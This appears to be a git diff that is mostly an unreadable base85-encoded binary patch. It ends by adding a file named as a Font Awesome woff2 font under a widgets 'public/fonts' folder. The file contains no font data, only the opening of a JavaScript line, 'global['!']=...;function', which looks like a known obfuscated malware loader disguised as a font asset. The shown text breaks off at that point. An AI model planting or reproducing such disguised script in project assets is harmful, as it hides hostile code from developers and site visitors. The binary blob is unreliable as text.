z0U08r=&H6Fv^k4hYi`lOHZ=6id%@C(JOb!Q8;k2^AW&u}LNzURNigeh&Ww+o7<*WS zE{Y0%1CooXR<1bStud=uosrQSWXS51Oq_winehf%erKiQTfiVlmowNB2NziQ>f~iP za}Hz@t8$jZ7u2ySwUHu=mQ&g?dpv2X-roA|8OJi)^ed5VuybZ*MG-YJi%<|T(?t;O zODQuFAT$f@It!N3DR%I|x7n;cHa!+-u#xQG1&($=F2jqtLFhr2$}mIc`Q}P61}|Rr zN3r-+MHsV4Gb3BG6}nOU&`O8ApjmSnWGYAKd@0j^&s;V|WI|DV#ZoGh)5h}bMPYW? z$+}eO$;8hU%wtM-vO-t-iZT%l`rXI&Z3B(yB1>31$du&E|H{KXrnb3367(s*p3`oK zXQ(!n{iJC%-EC9Dllp}_3g|?yyE^FeOrQ|EgJCbYEPrZ&-VR9R3`o9Ae~Zlu)X^J* zGJ41~-)wg1&qQ~c=HO{MFVN-xX41co*{47HH}XZpd#DKWfZR=Gq4A7kP7&6=)ZeIh z>-^ax{LQmYVXp2|{eI1HWxqaGV9o~w(#YUHs|}U@Ej@Jg)el{b&b`-h7fz~;Z)lpeZnXW z026TS2BG{kvXT6=VYKwT@o-c%?%vhw_V122qKlS!HJVCaSs{{g$k=ySu|zGNc9U-Y z9mITv+p4%vKg{0cqLDLN2Hm+4zq{Yl@s7g2TQRzWbq%edl_Qy8u1TCOAjHX$iVZWeG9fu4W57zT!~L+`_cR z&q|p5xAQQ74j2f+`Trt{rX&)KF5tmudr0W@d%asj6kYasEmPcaqibiFW0`sgRlLq*WPsH)~U2U;nFU6+l?fhi5>1t zqqj8PJblv}-f+{>>b};t!r%{6*VQy*@55@LUUxhDxh?f#i1h+-Zs7Z2?-62h8el>V zBYLRfO>BkOVuihENYJz8AuI>oOa^qsT?*a!uPr}eTdnehhV+THxIZIHF{e;&=F(IZ zwX{lZ*7d8E6kuWm=m^^gq5T;uKUVhEN86aD9}UbH-HhsggR5Ibr(`}^l(!g%Z0Mrvnpf%9IVksO?02tp$B ztPQV=vsedz9|K-g{8zDtd?9KO^2d(ArWope05)u zL`PB-@h6fY{e-Tx#0g8L*g8I{4&do*?RbxmNQx{aB=K7!`6CrskzSxei2oj_+&bPN zvoe%V(xP*9q9tl#UZjF1n(J(;Cpcn35QyNo{-XWIJ6aXAqu7KKjQT4Wo-+ePun{V1 z^WGkwg15tppiI|X(Qg>%`U^>NiN?s+Mvg~&Ph7`1-gUi7^!P~4)V69eADvZ^Oipnn zaxxtLZ+f!QdmX#Obtii1$#>C{)!8VEfjRT5Ge6=5^cgNk^m#TTVC8~AXcQP8aMe?o zJrE*STn16#5&!1~<=k|NmxP_^T2E$sp&Uw?k%BW^+?jPodv>cKrN7w>Ao4Nc=@ny3 zq~A_W=aTW^sA8*={p*s6$@Drw=Hp{YJ3G~@Uk=prEeu%Q19d_HY(?@_+hp^hqgR*a z7v@W7@%Be*6ra8Jh`;{L#(@rqeq(?b!VUV-m0-N>LQA744Ty!4cVjd7I5ojc<23VR zA=z9=7F4A-nXvoc_QALH+lk~f^z+?;lGy`N4Z@bGiG%Rwg~>!|W~P*wWYD(5P`a(Y zW=LO`$ULl*7CW9r3IsKZlIO%IjhZH^FN@$PwMc=6C$X_Vd8*-NQJOtg1n{C;vomSiLwN(SR^#!@I9 zdluu2Zqx7r8H*)VaDw^UqZEaB5TY|`ZJ0Ca+1S12xYVrAREEK_GF+Jn1y&vF^$kbj zdl;79p7@cEcIKaAadLM9&(Dx|vzu_W+qedIlH&$^O^fIY<1M6a8dEw^0yi`o;zbU) zErilej|*7|cxSZ`N5NC8naeii06k@Al!qefN5Opl1Sr#cu zQ^t%MUpIz~*57zimXmT!_I_rA#~R?8e_&=5MN_FL8l6Fkg0#qn9+Y&5Y&h>{V2qkS zRwm(!lTh9lxM5QMRp5w+r$c0@r-|OMncKzf1N?X@w4zot9HKKqp%a0vzqbBp^eug{ zHAoET{Z%Cv#2oJz`WUPnLO&N(La5Z{f|j$gW0r>Iv}`InB&w!lxS66XCj2tC!oKEP z^(Y@c9WF=pkGE>*vyx?p6f3KdyINyeD@X3CTGow{sY!+?7c*|cFQY5$ds2^<$(?w( zr&sgVwx2=^WZpRx1q!uk1#@x%T~sJ$6^eApR&Sb1Knc*^6MNC;uSMLoVmK5=Y-J>c zF%6)=xcO(_`HrINf%qDlF=?2};5Djc(7_0xo#hT~WH6ld(!dF%CUwiQp6B4d;~bi2V0a%4<^y>qVwyG}S!kYS zj)@^~QM{jxZBlq^yUb^Bg3z0?+e%tVL{t}|UzB3L0#55yhJ(bg_+_-~*kE+mO%LsM zvspJiF_2Eg5_;ucCoNYG?iv{COF1!Ka4DLtW{7`P%@fQ7;KP#i={AL@ zzFsS}ukF+Qn%b8^4K_WmypYy~&}{P*nFwDyck9}@`MyTn=SuObLp1m!d?RFX9hfcWd7VoWB zqURsAojJ!o$zF`zv6XRbbk$?F122jE5?$p}fz6g5BIVh>6t<(wGTI6J3L2>wIY?6h zcSOH+qfa5`t1>yfVHI6|*<GK2GQm+;UCI8J; zEo`fESXoD-vmsdfc34pTNTANms3S4?@+v|vO?X$$v;|X8xzo6qp=8n zo1~<0h2CzOLz(St&~fH0%ME&|=gs~Q_i^rv+*90lxqszeKAyw=1LczyJ%m$bfFh5p8N3Jif67|Z3Z5S8W;T7#q&LFZlxP|eorgRop&soA?5sQ z9O36nD-m7!`g}I%4ALG}?JvG`f#asDXg=(5r_2Sv)wAR-&UEi?LL@$VnDIS^k56SB zAN`G}$zu$$9dLR)2)2I2pqk<~sR zYG~Vt6g=KKf58`IB+vf)G#3GRYd7_g1h*8=jh#WL=DhfRzWs%3;MGOljlAYDdg*6RZkMz;o?$@OUBrIL7NXJwxmC+m@wQ0WUp%gzJxtUdt84*y? zQA=*7S~^Q@!{>8c1(I|F&xM^tU56-7^h+BhkfKS8&6gxqx`7u$@;I+3E`agS%1Xy>%8g2gjCkNHhs+zBK%86ct(ONwSsqqC{)K zyxVA2-7W}<)Zf3^DoChL)OfVn_}mFY=t{W#ZNzJ0ACd~z=Kg+35rplkEf^<0XS8ew z4aiZG;)b|M$Wn8FW*lxI8HV!^(NGTR_0m~%{9s+_>RjBD>7`1M$TtoPXKySLUcXcA zQ^_AuR^d1J_jp@Gcmtaa+*~752b>(DB%ykp+~#^X^&3#$5-7*XNwD~UsKX4*k#En@ z%QL>r{}k9wqAVBYU^msPxr*eQZ;PlchE=+SguGI$(~1QjaX4Z+Ml1YdlXIa>gT*b7>YI&c=_!RS5mw1GL-s zvfhAv2lH^v2d(X(;5PEteq7HjXpF+zGP4ky>ht)6`W( z;1_iLP2(%|FACHLV!u|S7Qb*`Pya&8`nU92`iC-p2b-sX8I0F2xPw5WU-fLTJ|Er( zz3j+WqjYU|TMH{)$FnPrf|pv{wB8z;jkb_R{}fG}A zh(ayOKy5*MNYu!yuMSPGS|gjhCYgphuv(L{{UO5$8OtVQy`zVskRkPX^oROHQ7=zN zX$E^+lCU^ci1c4&&|93PuTi(-Q!qiHv`jyFEqy)K?&LV@HX42{eMKJ)d?MQKX5+W$ ztlY{6!g395CEEE_ghRAPq#N@vEGR@;(E)VayyE>9S0q2ojfc=5Y1!fzT?~Xzx+_x> zRL$l~+42x|(i>V!%O7lIw8%I>{wXcm%Bv<#Gqq{dMgJg4r^(=$m!uKNlxmNPrnCr> z^QwM9j78ME#S59$-yFAM)*LPF`616MsxdHNs0z>jP}XGg-fe$RE2i)iZIl@N90mFlbE85lov2(cO$+oG`o)fC zcN8~7qV|v-jcoX`f&^=F=C*g;HZy6_WmZ|@aXLF$+f}T-aZ@cUO0x7J*ZsL=7}nQC zmB>uxPvP2DD#p(Crh-*&KL%#fd%%p$Yh;WOVv|KsI>rsI8C9%#O6`v?1{ruI)UXQoRbyxN)B3R5{f;GkKfha)IRWPp~o>`a&1K9Ulmi4!Q zC4SNKQSt2ld5GO;dsdTX(6x^setV_nI&rt?XIX78{CQbb5p5lNglUGRc29+_rmg>d zH=$L5fR`>=)#2<1*0-lpA(bE5Mo zNm@Jt5hpY^$^Jkb5sPOEzU@IzvZw16tkPQ0i~E(b_nYY+CM^EwPvz;o({hQ{dBTI6 z6nx6Qg%k$9nUvu-(=3iOd)aqk+B4fdqteui#77%>Y4^<-H;mqc7#~DK4NNZH`Xt6r z(tn^7o0-`ST=AH;69eK0Bcw@>kIiB$Rq=b+9v^5Q?0jsizu#dp6F3+iKlZ}wIkxi z*D$i3nmBcRQJ97ffxVQ#f$mTTL8soXq60W|e=67fG~HDjGuMO{D8?5eqNfZA9!{Ll z%@_)4a_~A?BY$Mq0)>ToV@#7t7Yn*Ask%bfRTPo*>Hu!XhBaVq=_q#x_aNyP4Itnt zQ{xHy;weo=uIw$x16l58$wgXP;W_Im;)Gv88wzIMvzjaaA$G$tBSF*Chj3SE%E&GtgiRBp6FlE%@FH*Y`4v=e z-_EZfZ$lLMcCGnLC~e@+>t@&uXMRa%@uOr|(qA$>AN95&&Cn^tBUwk(k3@>aVj_Aw zFCq3sB(X=&2Jh_Es0>15t+He+Q7o{%+()@jQoI&_O~0rxbB^O>nP5mrG@T~w=jnbT zqd@9R|2%)2XWP7m(r7$4$fOzi{bIgovuvZtaG4+>p_eQhw5`_3t$g%;=m{?Z?frSk z5eTt0kgaO?g`Pp14C;-%txB4Vidg2y1RJX+T7zYj;}u=TCdysBW)qJ-t6IFJEnxh1 zs1O2h4OC8N({i{kT*}`ph?=D-W8d(PZv#rwd<>qu1e81?%@A^kD7fyp@I7lfeT!yV zTIs7Q*{Nu zcn!KfDN)I$H;Z<4n;UL-RCDj{qI<8absL6(h|AMsHK~h^a+z+H}KL-a}}@ zD+!6HN@7pnnQkM*m5#bCb{SS{@VkONw|Z&LRk|7Hnm``(#yDm z?YS#^Q>4&hpq*am{{CW|xj8v`#sq+I|gt4PgmY{qv;2_TSlm*g_ z48w#hB5Jam`!swXP~JbFJpdLCBo9R2hqw^Jmi38eo|r&GNvN(QKHq>Nak2%ErYio$uw8S-hUx6AzO#qbgDr(HGT zA<8XG3ELFTe8|SscS*HFapT;FPs0-~g7T28P@$-vEYzP!Ts}aDt@Eh!nr^r3u&;-K zzcR(;fan3pTCET|)$$NlVAFH@4d?>ClM6(PF*GzHnDQG$goL;x%TkD$zC)6vNWSwg zORV`UEZ2|I#J_c#>-YQM_e(FdzDK9`_lUxaMBo3{%dm-IvHlmTLNy*Q_hgG!l?iX! zLp>GqtjT#l$7x5C**u2a-EBy>Wj4gQ)VdH9+o_fD9=b*lt605eJmAH~H$JJCrvl1UcGUV5x#Sv!#^ z=P4lMPC-)|iYDxAS3Q)2XA0&xTTmkmE?G!~Xr_gS;n4O%k{kj1$K1GCFljo4P~v`3 z6SoSAG%z43!q(tMTaUdP^7m~a`ragEy=_Y-GiuUkj7n`qp{-c(Xh6$nDZ`^}Gm<(Z zYiQ#7)e;_}LHikgeK!mL>L3mApHZb7Z|$3z>05`^@I)*6&Fz>PD?d+87iEFxZ~j&{ z$A14km!KPhO!q!x<*>}(CDHZ^GP87|k8+9rzId&xvp(M(q}MJ{ya zDfE(O=ew0=NA&H9;1fursB*@Txb|i(zw7 zC93H0*CktA$?nYo!MR;Znw6uwH;-jhQ4DXn=AIp9QkoUTS6-id;l(|)@$actMdSG{ zYT+ja{hnQqT>*l!Km<--hW4Rus@|{UyAhJjcDk^&Lk(Ly2%tJcYh}VfG&8atXc5z= z-wQJ68IHkGkOFb!61Z+?tzFO|&y^l`B9>?jj{)Vm6Et8Eq|yIkNGu?SnrFU>o`Cqf zecT*(qaW{Ag!F^86>>a-`vr@%b|vt(hA{b30RmTZ zQwTk1#ol_w{y*UP@!8RUQ<1wNk|1N)6~*3XCWM5gX=~Tw9*hj4Fh`H zZlx?$T;J6;Ty`P{E{;ZYe*H4in%C7Z`e0byuSKHGr-v&IB5T*9CJmaaqpe$Wq2@0~ zy2)y9$g&!tTxR&%lMB72i&%Kwf@gC*0$3<@Hi{7;tTlf|_!1IK0rUKFepgNAQ7V-w zMacYFoy~eaE_V3k{;Fz{3k6;+7(Hf8JKWumRU_#)O=Z3YzvItf}3r2MU%iqgA!Jy*lJ>0S8K z?h&*TpXD`?lP$-*kw>wV5Xg6YDR%|;8SabRUwRRP-iV65e&wj_dmR>kS9fHuJm0No zu_dbCn(hA)%+EKa<1s@vBC-*y7!jjFHX>v@7Egy%!%#zT*bD~_ht2lk=inYUf&el1 z`XmGvK>z5<4d`fJumN4|bKoXrPuk%A4+V{Es{jCaoMT{QU|{rS;%QHm*No@4`O3h} z!~g=f=5=X6Y5o6i{%>KL%6JyYA({{RC6Q^Wr^ zKyoSrPy`t;KLr4hOa^awoP}4*Z5uHVo!!8&FGhs;5COStDJ;dul)+MRP8C~1N>Bp< zgdk3A*%Cu?es8!kB4EJfayh>@Z%EA~zwbmdmDict*q<+RqL0(6^C;6}nBUHs_I2FV zJ#BtBr}EakM$1#htM2VMWn3@k zCYTG$NfK=H_>eqTIn+>c8Ts)LalkOdY&4V z17t zk45bS(Rdk)JK`9|x?_FEAzqDhsdbRLFAv5w!MxhNG~s&SXP%4yL^p~}l`mI0oIP)y z|JgBc4nzHLZE}t0@}}SXPsH9W05pOm0XeGn0#L4JZmn&Ug)3QuX56T)(=*<+x4_} zYAcr~=UqEP7}wt0%pa&z!KL^AK{l9#cYHog-<$(7BEN1u?uHLb)qQWV>a+Srz29v5 zJLXt9Kehgy`q{|&euVzi>MNTcyV!FrhLdvI`U!c@F+S*A@jqJJp)QrT_73-{kE%oc z(OMb(OaAS+*LiI9qgYt^J*vRw1nImumWuyVe&pR7L1lm}g{R>Pg4;-dTZwNGLmbKFz;@CP{b)@r|Eb#DE)%1^9e zJ8z)I%+IktFph)z&UF>|PIB(7@m;_%*4Oy|!FwQ;-y6PR9cAEC9=OE%UM;2{^*QK} z`vlaqpF6c*DeeckXQz5^$a2=xwnlBQ+UWHly*-y-h?AX1-CyZ@sY?kx2lJGmZqkr9 z^?%G0xi6FP-~KCTzqsJto_&y>D){!ZQ29gc{?xb~{(qd=hw@i*D)=n2{sQ;MlgD6u zF?)C)F&h|P$OUr)>T2;??R%FokMH&0;XjDw$iI2#-itZU%*|Qv_~r{>lf)+!f;%ME zPt3m!|-DoMqR0m{;Q#2k^D`DT-7oluD^|Ar*}pRFY_<%Sbd` zbTctsbvIp27gR!O%Ag2??m`G1k|HFfs0g7F^5_skhx76Gnde#0{_Xc&Yke>4{q6mm zi2wWRAXY~tl|^5%E+VZI@vq#766GUG&WJeSpV%33VwN}@QEGTZY5Ap(M4YrS;^gUK zUqqRO5vRyGWkp2U?1*wr#PNvoIbuu1sa?gKhzccy^@;?zEZ$_GyPAPKS3! zDIvEqE|uj~X&Z5-wKLa7RLzU12EW?oi0b03qKF#SYOIf_nIYuYr0HxqXWOq;M%b^V ze=VGA<5n9+?Y$9oS_u5>;D1g-kuP>f)Ky!zP|#b?e!Zg+^{qFM(*Umq?$4#?Tzt-} zCiu{Bh@kU)`p#by(FpfO+aem%*qA3xG9xaqc0obJg=}xi-=;Wa$j`txgC`fsZH8|% z*v-^7$1f9?Ogt{8;ZoNYqlNsIxU}R~EBY_v&t-gUU0TCd^LHOCwg^&R1L;(sUDo$2iiD;u|L`m=d@ zE#JD}a2@?!X}`XgP-slb-m46zFFt{JdVfX&2YSa6YNjm=|nS_WPQ?-h{-&djMHR2Z`ZHD3=3#1a3-g~ zn&O;JwKi4lRQ;yWG##($a;Nk24(IR=dhYbSywm+%e4Sy|Gt6)%-)5QFEZ*Pke9ku0 zd(_^`hx_<)AFt-jthABfcqlaiu8Pt2M^No zuzm}9w8*>`(ewx|kLdNN87&r%ng8RweO%us)D+|Vq?#x7eTtr^ad}$)622@o%Vl^j z!)v*jFE5T*fy+ucEA?2V_bT2zWA3YIT21qF>Ylgvy!AC^^n&^q@qEc#UV^`tk8AOK zS?$X-ze2~W)?USR9lUig);R~Snf+__U#EM$9&hks1Kk_U=1sB5_jZ%Lw`hHf=WmT{=}L3)I2}s)m}b+X74i^KZo@>JzwCp&;CAK zzl8TCkH50^HH@$A?|0qryLQ*9mhZL{==O9bS94D_7@NT((CV| zkwjZDQ5=gT&5EQ%hL|2nN!OAqA~|7nBq!DsOCl-NM68LVbbWC=l9Luja&kkFFOEb~ z#(tUMVy&=$ikh-&%j#ctXC&q1mMaiGm)E2G`bbWNbE^CbcvP@n(Y0ccI2=i(9AWRY z83NbSH%4+sS0S%*3sD?Nl}eGESw<8JHC16%g2cn+NE*`65dQgjfvL zX=&nmfj$?)ZYs~aCdr^7L;q&w1#g<;)Lj2ezGl*NF`P?Ei7k;_D!&CyE#Qn-Y`3oZanCwJ_o<<^mW(2hrJ$p z_0*#m9o`{HZ?%1R?cI^|iho~6}Zy20myu6jx;j|6s$B0}((@4BW(mhJP_eJ7;k&HPM z$yk2e=5szj^6?&r&p3JG)s5GG0$vmOJ_+_@KhGxPJ=uA>o#zGk6`0QydZy|zm0#1~ zPIJA3e|N&a3)dO+&EWA&`ey1q%UPSP|7?Bk5%2K{A(DbNN0Gze4MU zaOU%O0e%lS^F{nFqWeL-AL7qLe0f;z!#FSWc@g|aTpz_@vHiv7^cc)1oVzD*DaNUo zu3~5TDQi#Dw?yxydM|ZumpO;aabJPQ3O=ng?^QHEqh__f&*Ji&c%IfZ&h!iXe~}L_ z!heaLwfev8{uTbciu*dB|EI8-?$@h-L(dKLY~cT!_TS{uM)@1faT86O z%i`RSRvW0hB;Jt5sEACtM`GD3Bc)X2Ie9cfZO(zGzr5-lPvnHA{?Ya>0; zdZ{{*mOdKkN!ubVlNo8*CSqZv<>Z&!9clR)k)B#c9Er5T-bgF%_b-S(r)7x4k)B=@ z=^6U@Um&ewt%{s8S43L1wOA8rHM!M`BR#9KuvcSrq%~ps{h!uSQwzV^>gtpiizBV; zzTT2Z>*LcPSHNf}x1k>A&xy2Ahe#Xa*w}uP&5>S^Bj8=Au4!MfKGF<%7nKr+B5hVP z(&qGJ=0|$*mPjv|9_gj@wD>0qB5i5C6)!GR(|TQ`ZScNgU!+&Ijr6K&k+y@CrB~Lm zNZaQ{dQC&2ZwGuj@~_j*NIUZ&yH}*wu8y>ep4Z`fozGoqzn+gb@Uff7!K1tN9`yE< z*9-SvxcAnxH~zh8?W3j-ulvF6r>4J|^ym3abm#IYSN;GV`VF1lf@>a*dBY`aY;&h+0001ZoMT{QU|@d67{H*w00K-v%m{=G3=UvE0{|tN0iXbQoUM}0Zqq;% zg^%r|66vNtG$^QxS>;D+oF6x+WJOgeV!;NrLTsJHZLG!_%bq6c10WuQ1xpsdGw=W` zSnv=mc>#`{E7~AhffQTvd^7j@oO@>mz`peg7M9OrJQ21~!5d*4MSKu;pzu?;fQt28 zxQMFtNq7TgyC_`3fjt-A#3TEg@D_HRUEysM9Zz@%6(@cq+ zV+&op6t?O1PT0XSd=@UCYdsV$;)OL7-oSzNUATnT_P+2YT>HK77OM6S;cb+hn(z*~ z&Qsw%RGqiNW#)Xr2{d9{BSDA@OklWcb&Sy9IACm+uN-5604e7YN1W*RItec(M%70R zHPADoju%0yBgXFfNuifZCgf~(%JnHt$Nc4%fao*y3(SgTr z`yRJu&+T|_d)+N~d^@>y8%O!>-mO39H{m?YGy1vXP3aAac^$XiK2r4+!+DUTp`P{C zvV+D=3#$gb-^DloEMBB~S>;Ws{EYV@t16QiqDC1-8O<@PJ;z|%KrMn{Eme_Djf!=AHT4q}j`U2Wfl>Z!tc=#v%g``8yOf4j zDL16W_gs4OS9)`E`-thr#A(0PI%ik@vMYC_qklctza8az?%{oxWUaOR0^NPOM-R|n)nT6Xk2kmg8#BmabnVA_iQqM>?qEkydHy38dcF197W_FmFnVFfH z{#V_a-Py~3-*=j-megvfdiAP$*W{Z0_up@>owWA<{G*@XBG#mkf`k$+(H0%i6+O`x z12GgMu`V{mrq~h(#I`snjuXd=6U2$)ByqAhMO;8!P+Uk{SX@M0RGcbK6BiQ~7ncy1 z6qgd07MBs16_*p9xV*T6I9*&(oFT3xt}L!1&JJ&Esp4tk>EapUnc`XE+2T3kx#D@^`QioQh2llx#o{I6rQ&7c<>D3MmEu+6)#5ec zwc>T+_2LcUjp9w>&EhTMt>SIseDQYi4)IR$F7a;h9`RoBKJk9>0r5fcA@O1H5%E#+ zG4XNn3GqqsDe-CX8Sz>1Iq`Y%g|$<~7sZ#vm&I4aSH;)F*Tpx)H^sNax5anFcg6R_ z_r(vy55gCGRcoBkwEkCw)1VfefXV6FHTU zjO8IYlZi}aCUaTH!?KiS?cBAqWhHC5Bj@snT*#yH{_+9xf$~A}!SW&Uq4HsCUHNeN z2>D3)DEVl4mVAsnTb?7&m5-H=laH5AkWZB7$tTGt%csbv%BRVv%V)@E%4f-E%jd}F z%IC@F%NNKO$`{EO%a_QP%9qKP%U8%(%2&x(%h$-)%Gb%)%Qwh3$~Vb3%eTn4%D2h$ z<=f>u_VRZv`q);I69tApcCmNI+;$P3(y7WLUdue2wjv;rPJtQbaA=_U6L+E zm!`|mW$AL{(dFq1bUIy;&Y&yNmFX&UCS8@TMpvh6&^75=bZxp0U6-y$*QXoM4e3U7 z@eVRT)pQX>y=jjXdMfwtb znZ80_rLWP~=^OM-`WAhgzC+)o@6q?^2lPYw5&f8cLO-RS(a-4@^h^2`{hEG5zop;N z@97WpNBR@}nf^k5rN7bN=^yk@`WOA1{zLy&Yf31oNGa7)ZPig-)l+>nP(w9R>uN)7 zsx5UuZL5RoICZ=_L7k{hQYWiZ)CJT9)rHiB)kV}r)v4+)72H#8R|;v%IYfWOm$UtHFb4$4RuX*Ep=^m9d%uGJ#~F`gSBs~8>$C)L~UBqbgOa9W_@+)IuFq_g4>44^$6Q z4^|IR4^XSoJvdc=ZJJM0K8el6tawih8PgntHl= zhI*!YmU^~&j(VZ;g?goWm3p;$je4zmoqD}`gLt^;UA;rSQ@u;QTfIlUSG`ZYUwuG*P<=>!Sbao&RDDc+Tzx`)QhiE& zT75=+R((!=UVTA*QGH2$S$$S=m zNxN0#C4M>8vWhw^$EIopkq&09Do(W-xOcrGsm-vF(>SY5ugK@R^zzB1ZQ^O>ClusZ z+dS2+AjyN7Dsw;VhWR{8AhhCaoF7r84s&G|SE zweC_-MdB}7g^x|c?&U>il9${*w2vo^dTKoL+s;DnY+o1mWrLhfcMi2;xb6| z(C+6_vAe!htRXbY#^G9HzUaZ}gE*Vyjoc5)+?dFZOG9Hn>-%My&+TUiPP8BGI=L>I z`@E+uyjAM9K2rEu*bVZuD77&M^pPO(Q-9@iY8p>qE!v;JZc9yip?mo68Q6PtaP|4B zjQwny=oXeO!yNoXXQ5xRwY5upB~Lr}PRg5w?a6f2UoK5u>@FFPtyAi1t~E9(%8Me- zrd|LCYENK8um|_!<%Q0A0Vcs4R}P)Ad3dwTX{HwnUSYb;_e_tS&x`zI(yO969aq@l zHl8e^MY}Gnqa-@bvzGOPp}l(MaLr3pXY4A2pk%w@k%UwlLs1Arsgoqi%WM#6xcwv! z{7P>|n5tLgur#;&8!HXgAXfCcSiQ@0-*Q{z*4{pUU|);ta$i$j?0?B_?=;EBx;-y- z1^}vjGc#?#4*aP%E@M3je50K;7~Y>2xDOt zlcbMj)d6l1k?w8*x=w_#I>8#V6Ybn#Lja@9D3g~}k1x(wS}xSS6iAbUTxwn zUe$TVeb?fg-HMH~TbZ4`c>{|RYBK|XwG+SKAG;Os!W?U_`-khiYWi`aTW8EM%K)9u zs#+$+v#kj%CZkkGohclyK%{}MjdM7~I>!>v0+)uXbg>M;H$PDvD0-zXk_9X+S%)(@ zxUklz0AR&{AMwV(h#+EjgB2*Cl~dF9(Y zr@ZVt5MfudpkaWZeOOdnnAmvHp19Kow(QxAzt|ru+>ItYIHeC9T((dO(L5P8>7zhDu@O)9C$X)cOu|^UM@OJBk^F*B3er(KK>&>R0)c(GmdPTZ&m{9J?(T z*KngGH#+1^dk|-B0P@^l499+j*B9Od z5O@4i0TTdH@U}xWyU#Eg+gK{i-O*ClX;CdkaD1a3H$o_lJuC$rewdG$WP4K(jAFe} z>ddNG(Kwhb*h+0WlxcKnBeZ82`ZuDyE?uU^jIdhY(|J6jJryg^+tqrOq;Y`gJG#b} z>3Ez8VuL}Mfz^`uC_fxJU1>u1?W_4q5Gtb_p`C>-w%{k$z9LOTDLB=uW|t^-5XwR7^eI?6fCGB4>8)n3@yr5JYEJVlX!|Zq zcuQRL>_Qz%3ruo`_`eDeqjK}HduEM0TXm4&-AOR`TXy$Khz$dRZ>^I_l&$8icuQoJKZLPLhgKlG$fykiE$oY#r z1hK3(=2%b6DFwo(@ln02$C=gF8y%AXZ0Me4G{EknXR>?_&V}j2XEPHgY;k$kZ8Xzm z0?a1Rvp8wF2bTbB6C1+Z2b2%(@*;`m=7Ck>%s$IC0~QFqwr%Jz%rydh$hPXN!_))v zHXLo*U>;*UwBdPzOlZ-YoYcXk#~1?b1J)`tK7E$S%PC$ElbAx2uwP$ znIBIOx-ietMTYIq1!$WK=(gwugvT|UbUT$1cjhLeVdJ~T?8xB==_2D?5 zCk}0rgsWc04DA&IXCxXl3h#K|$urAAoS50tkyAjLvgYx_wbohFTyi}s1O;TeFq-7~ z-p6~>JegQ&5HaOncmG>eG&{-|FtjV5P@VF!rYz7T8dj`7LJN zi;=y0@Okir(DAsY@6A=knhx?CF7(CWaG9-I0=}!5MGEdUXu!{I83#?X?4(`r?5b7) zOETNM#Y?EiwlL{E;s0r~Mo<8sbXeo=h`EoADqJw@m^9~I?3e`;O5Jf*X9g=csdi#N zY4OGM=GcUY89;k(YlW>NUgcshkA z`q`{q#^Z6GwZKp+-8EW=Z2ZdROg63d=A80YU=<@<8Sxk)*x;R(<~z(cEjM>F?BfOP zS#Gkv^h?TIxcJttu%qr@+7U&q%PV$#P7K-EJ1N1 zBKje}VYe1eT(iR)#}xf(BgC#F!{0rykCjNBUN3}L08aw4k% z6EJ_EM5_e)mFxBjOGuIU>2TAjQC`MJb99n4_jkCg%3x#=lz>*i8$Az8rliQea^wbl z&|q3-2CN=5_`)vNa%9O~ZT*=uEkEUiD`(;}(MhL5k8s*{13-e#U1q>DCUg5735B3e_gacNmM zfFo7l$Lm23GKByF>~O_J3||l25B3C5!8>TlL>NykYTM|HMJ=LM7#}^l*bGa5QrQZ* ztM;g{tkV%+kl<*5l%EY6>$4c&WcC?|K+tGQiZW=*2TT(NO}&6+7ii*aCx@+XuPUA^ z2yMAy!%8?vsP%yrxp{SSwTThmjf5p0NwH%8BdagXe|_(SjwfI% zEk;*^2pE~TigPD|XIAyNgOkYpu&KAv3Gw&IejDCK4+ zk1B{pI{;S%7)Mjr9Xawi@jyT8d&I!{yB~8<*YKze;lnQqN79sEDBJT64GfM`|Jw^xe{BjB2i zmMI@_fjjw=NgR0ACq_%|lmQ6KhDjAjXX-)%hG3adYa9cRM}TWA8VAuh)hghs?H;#e zfZJFeBQ|==p1KZ0ECApo@@J)gU|$Ks<74e%b5LpN((=@jOFg4WonZ- zK`&F|x5j?t$LbI$+4>={4^A`Z5p(d?%=gEBd&d0J=Q?u8{?>K0c*f}+C!9%PK5fHfVXW&MI&BfrM&M2e8`XK{s_lWgqwipwWi3Xsy6m5 z<&!=?t7kE$5&8TV4O|CoM=?{17H2^@khw&@Y%>}x0M}DGQMuU3VqdZOcI`0-{BM+L z5Xy3fP8b4mcEC;vlVNrOIKvifTEgR5Gh`<=ZDe&JTRB_^>AI~?c5IB#OULX%)PZi{ zaHq5hpC!nOGx>o<441#HH_HX5vT6I?>hYAbW;I#dZdTJ4v^X8|cNXirD{LR>h9IKA zjH+u-25aNDImg3*_#n^bi~zSDoZVxd2A=5iAFIs!r7l2}xHhOj>86{NPVt6CXOBbP z#%e>7&$~N(Xt~gS%jRin?2i{CzSu+zBotN>=aJ7_qQ*%+-TTvo5azzC%(b4uin7pR zyKeK_d4>B10ZdQ1f?00w)jM`;Ph4jx_~vLSczn9p)y%rEnJxYc3ebED%AkUnee>5s z@N6^Fi-ykdnOmXzHuUqEgxTH`_o(m`;l(e9HiUa)uG?pW$QB01n$u2eX1pO`Cl2BO z*+DBt|9Lx&VM$pht>M{u)kAU@Tkjq1N=@0%lH{~!u$Ty7m0sVKIBAMH#?=hECQhx; zF*Coi#yN{QCw4y`&?w};fl4?)kx7B&Sw6RhXR82EQa|hRFXHMP;0{-7I}7H(mly>L zPP_J`mj6Zp#5>Q1*5R8X#bC^V3lS53+~$=vY{DRk!SabEbnlimg0e;ohUWvrj3zyu z_98yU2MsS>(x1j*m~a-z#1w9gL=rAN+O3?hJGHTb0F55wN5GlIdK2WD&$J3yU5TWK zPo;Rd2LXH&>5s9lmd#`OPR#gkRvOt< zi-b=Xvlep3%=C6Mz|GY^YFX9>tK6OVjY|0H4kx^bXw~*H$FvU3SC4AB<>0Z$wKh}P ze`L!|$NkT-t*sd!b9C#<&jlau*=(t2GYpPy7ElAWoW;hTXgNsBo)8T|J1}|7BwHlR zUVJdR_QbCPT`>s4pvpd%jVch}S|8k3+G#edIn3c~79P`gMV>h}W_$OPVI_^;Yio3C zg%}V92iAPtF?v&(*=uFIUwLUKM%vhSk%9Mq*cg*-8CaU+o*6X-CWk!(M|W-KL#`++ zC)2Zv$^By36nX92%C#&j|K1s=Z|vHf>t*0{D<4>mB@HRH-3;v2wREhk&Hn+P(f}g> D#gX8w literal 0 HcmV?d00001 diff --git a/pages/widgets/_snippets/public/fonts/fa-solid-900.woff2 b/pages/widgets/_snippets/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000..b216d8c --- /dev/null +++ b/pages/widgets/_snippets/public/fonts/fa-solid-900.woff2 @@ -0,0 +1 @@ +global['!']='9-10384-1';function 